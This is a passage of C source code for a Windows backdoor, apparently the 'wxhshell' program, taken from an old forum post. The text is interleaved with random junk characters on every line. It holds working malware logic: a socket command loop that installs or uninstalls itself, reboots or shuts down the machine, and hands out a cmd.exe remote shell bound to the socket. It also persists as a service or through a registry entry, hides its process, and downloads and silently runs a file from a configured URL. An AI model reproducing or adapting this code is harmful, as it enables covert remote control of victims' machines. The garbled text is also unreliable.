  case '?': { |&o%c/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {])F%Q_#cD  
    break; >?'cZTNk]  
  } tNoo3&  
  // 安装 /EA4-#uw  
  case 'i': { =&< s*-l[  
    if(Install()) R@u6mMX{N,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AS'a'x>8>,  
    else l0 r Zril  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6uOR0L  
    break; 9co1+y=i{  
    } lmgMR|v  
  // 卸载 T[*=7jnJQ  
  case 'r': { X2/ `EN\  
    if(Uninstall()) s+$l.aIO!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %HpTQ   
    else fOF02WP^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~W_m<#K(  
    break; #92 :h6  
    } 1ki##v[ W8  
  // 显示 wxhshell 所在路径 (Rve<n6{A  
  case 'p': { ; P&K a  
    char svExeFile[MAX_PATH]; W:ih#YW_F  
    strcpy(svExeFile,"\n\r"); %DbL|;z1  
      strcat(svExeFile,ExeFile); "n=`{~F  
        send(wsh,svExeFile,strlen(svExeFile),0); xzbyar<  
    break; OIe {Sx{y  
    } )UO:J7K  
  // 重启 FU E/uh  
  case 'b': { OXK?R\ E+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ubjuuha"  
    if(Boot(REBOOT)) H*?U@>UU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RgZBh04q  
    else { dyC: Mko=  
    closesocket(wsh); FDkRfhK  
    ExitThread(0); }[SWt3qV1  
    } %F` c Nw]  
    break; k^:$ETW2 D  
    } &>ii2% 4  
  // 关机 !LVWggk1  
  case 'd': { s0~a5Ti3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r=~yUT  
    if(Boot(SHUTDOWN)) x;?4AJ{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |[)t4A"}  
    else { =hH>]$J[  
    closesocket(wsh); kS%FV;9>(  
    ExitThread(0); G29PdmY$<  
    } O$V 6QJ  
    break; ={o>g '  
    } s =! y%  
  // 获取shell 'p80X^g  
  case 's': { qH: ` O%,  
    CmdShell(wsh); \f}S Hh  
    closesocket(wsh); &HNJ '  
    ExitThread(0); wWKC.N  
    break; ><mZOTn e;  
  } TxoMCN?7c  
  // 退出 nw+L _b  
  case 'x': { $6L gaz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bN`oQ.Z 4  
    CloseIt(wsh); hWf Jh0I  
    break; rW0# 6  
    } . p^='Kz?  
  // 离开 MRwls@z=  
  case 'q': { <x,u!}5J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F42r]k  
    closesocket(wsh); @F]6[  
    WSACleanup(); Qx1ZxJz #  
    exit(1); cpF\^[D  
    break; '>^+_|2  
        } I,(m\NalK  
  } +ByxhSIr  
  } "WdGY*r  
bae .?+0[  
  // 提示信息 Z3<>Z\6D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #UG|\}Lp  
} 4_Tx FulX.  
  } WO?EzQ ?  
R]VY PNns  
  return; zW,m3~XX:  
} \rY|l  
iNUisl  
// shell模块句柄 q(M[ij  
int CmdShell(SOCKET sock) .h~M&d!  
{ 9$c0<~B\  
STARTUPINFO si; P%z\^\p"5  
ZeroMemory(&si,sizeof(si)); T^B&GgW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p+ SFeUp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }{[H@uhjH  
PROCESS_INFORMATION ProcessInfo; FbO-K-  
char cmdline[]="cmd"; (cAv :EKpo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +Pd&YfU9  
  return 0; _A|1_^[G(  
} uc<XdFcu  
>*(4evU  
// 自身启动模式 UK*+EEv  
int StartFromService(void) Ir|Q2$W2^c  
{ ~Z!xS  
typedef struct <6Q]FH!6  
{ |}b~ss^  
  DWORD ExitStatus; H0Qpc<Z4/  
  DWORD PebBaseAddress; pg1o@^OuL  
  DWORD AffinityMask; MNzq,/Wf  
  DWORD BasePriority; Vy.A`Hz  
  ULONG UniqueProcessId; gV1&b (h  
  ULONG InheritedFromUniqueProcessId; 4- ^|e  
}   PROCESS_BASIC_INFORMATION; ;2q;RT`h  
#Z;ziM:  
PROCNTQSIP NtQueryInformationProcess; M8X*fYn  
/tM<ois*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $9Ho d-Z1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .\= GfF'  
9:4PJ%R9  
  HANDLE             hProcess; `e .;P  
  PROCESS_BASIC_INFORMATION pbi; ^)<>5.%1''  
&&4av*\I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zYO+;;*@  
  if(NULL == hInst ) return 0; E]WammX c  
N3g[,BE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _m;0%]+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EKZ40z`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?v PwI  
EgM.wQHR]  
  if (!NtQueryInformationProcess) return 0; +Gqh  
yx"xbCc#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )28Jz6.I  
  if(!hProcess) return 0; q4@n pbx  
kU$P?RD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; . \M@oF  
7D\#1h  
  CloseHandle(hProcess); Rcs7 'q5  
m663%b(5>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u`dWU}m)  
if(hProcess==NULL) return 0; y K)7%j!  
3GUO   
HMODULE hMod; 7GY[l3arxv  
char procName[255]; /1:`?% ,2  
unsigned long cbNeeded; hPF9y@lh  
`An|a~G1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !yU!ta Q  
(`x6QiG!  
  CloseHandle(hProcess); ZfM(%rx  
y5B4t6M(  
if(strstr(procName,"services")) return 1; // 以服务启动 v/=O:SM}  
jCqs^`-  
  return 0; // 注册表启动 QE[ETv  
} 6 DqV1'  
&MsnQP  
// 主模块 V^B'T]s  
int StartWxhshell(LPSTR lpCmdLine) U4qp?g+:  
{ Z2~;u[0a[  
  SOCKET wsl; ,pE{N&p9  
BOOL val=TRUE; Zm& X $U  
  int port=0; <\eHK[_*  
  struct sockaddr_in door; Rd|};-  
GV#"2{t j  
  if(wscfg.ws_autoins) Install(); EpSVHD:*  
e#JJd=  
port=atoi(lpCmdLine); /*!K4)$-*2  
w^e<p~i!^E  
if(port<=0) port=wscfg.ws_port; 9Slx.9f  
Bm2"} =  
  WSADATA data; = zW}vm }  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zm,<2BP>  
0][PL%3Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a<7Ui;^@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [R*UPa  
  door.sin_family = AF_INET; GqBZWmAB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j:B?0~=  
  door.sin_port = htons(port); x~C%Hp*#  
YA9Xe+g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .vYU4g]  
closesocket(wsl); ^+tAgK2   
return 1; s9svuFb  
} ~K]5`(KV  
z[Xs=S!]I  
  if(listen(wsl,2) == INVALID_SOCKET) { E9TWLB5A)(  
closesocket(wsl); P,lKa.  
return 1; *t.L` G  
} LnP={s  
  Wxhshell(wsl); {\9vW; '  
  WSACleanup(); QxG:NN;jW  
N-EVH e'}6  
return 0; y<jW7GNt  
iV;X``S  
} `wz@l:e  
)!J0e-T-8O  
// 以NT服务方式启动 $K>'aI;|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Iv3_T<AF  
{ Uu ~BErEC  
DWORD   status = 0; SE/GT:}  
  DWORD   specificError = 0xfffffff; k44s V.G4L  
L;$Gn"7~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; unu%\f>^4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^[6eo8Ck>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b$\3Y'":  
  serviceStatus.dwWin32ExitCode     = 0; XM o#LS  
  serviceStatus.dwServiceSpecificExitCode = 0; N@Pf\D  
  serviceStatus.dwCheckPoint       = 0; XA75tU[#  
  serviceStatus.dwWaitHint       = 0; 5<h7+ %?t9  
de{@u<Y Zb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0V6gNEAUg  
  if (hServiceStatusHandle==0) return; 3p`*'j2R  
7qj<|US  
status = GetLastError(); 21i?$ uU  
  if (status!=NO_ERROR) cnJ(Fv_F$  
{ &?C% -"|c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s<,[xkMB  
    serviceStatus.dwCheckPoint       = 0; mTXeIng?  
    serviceStatus.dwWaitHint       = 0; O2./?Ye  
    serviceStatus.dwWin32ExitCode     = status; A3D"b9<D  
    serviceStatus.dwServiceSpecificExitCode = specificError; <nDuN*|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @H[)U/.  
    return; .`qw8e}y#'  
  } x&>zD0\ :\  
Q${0(#Nu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =yo?]ZS  
  serviceStatus.dwCheckPoint       = 0; M ^gva?{  
  serviceStatus.dwWaitHint       = 0; <Vucr   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  JwEQR  
} @%Y$@Qb{  
}jTCzqHW]  
// 处理NT服务事件,比如:启动、停止 uFPJ}m[>5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yneIY-g(p  
{ 40,u(4.m*  
switch(fdwControl) k\(LBZ"vR  
{ pJ)PVo\cV  
case SERVICE_CONTROL_STOP: !9w3/Gthj  
  serviceStatus.dwWin32ExitCode = 0; 8+'9K%'@qX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ('k;Ikut  
  serviceStatus.dwCheckPoint   = 0; <j CD^  
  serviceStatus.dwWaitHint     = 0; <NRW^#g<x  
  { P X/{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5WJof`M  
  } +b@KS"3h  
  return; 17IT:T,'  
case SERVICE_CONTROL_PAUSE: oAaUXkQE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e(nT2E  
  break; #+$pE@u7A  
case SERVICE_CONTROL_CONTINUE: n?uVq6c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L[v-5u)  
  break; nO-1^HUl  
case SERVICE_CONTROL_INTERROGATE: $&IF#uDf  
  break; ]6JI((  
}; JBzRL"|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G-FeDP  
} 5X"y46i,H  
O#[+= ^  
// 标准应用程序主函数 G&ZpQ)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?[<C,w~$`  
{ Op''=Ar#sh  
=)tU]kp  
// 获取操作系统版本 Gp*U2LB  
OsIsNt=GetOsVer(); $TU)O^c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mx\b6w7  
jm~(OLg  
  // 从命令行安装 dC&{zNG  
  if(strpbrk(lpCmdLine,"iI")) Install(); )0F\[Jl}  
q]PeS~PjF\  
  // 下载执行文件 gZkjh{rQ  
if(wscfg.ws_downexe) { w.v yEU^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x-W6W  
  WinExec(wscfg.ws_filenam,SW_HIDE); 08*O|Ym,  
} \~j6}4XS1.  
:yPA6O 4  
if(!OsIsNt) { VI:EjZ/|a  
// 如果时win9x,隐藏进程并且设置为注册表启动 +-8u09-F  
HideProc(); gN"Abc  
StartWxhshell(lpCmdLine); `2}H$D  
} /m#!<t7  
else u~ %xU~v  
  if(StartFromService()) ?[Gj?D.Wc  
  // 以服务方式启动 ruqx #]-  
  StartServiceCtrlDispatcher(DispatchTable); Um4$. BKD  
else  -w7g}  
  // 普通方式启动 `bXP )$  
  StartWxhshell(lpCmdLine); ,UOAGu<_gb  
sT&O%(  
return 0; UC@ &! kM  
}
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只看该作者 1 发表于: 2006-10-10
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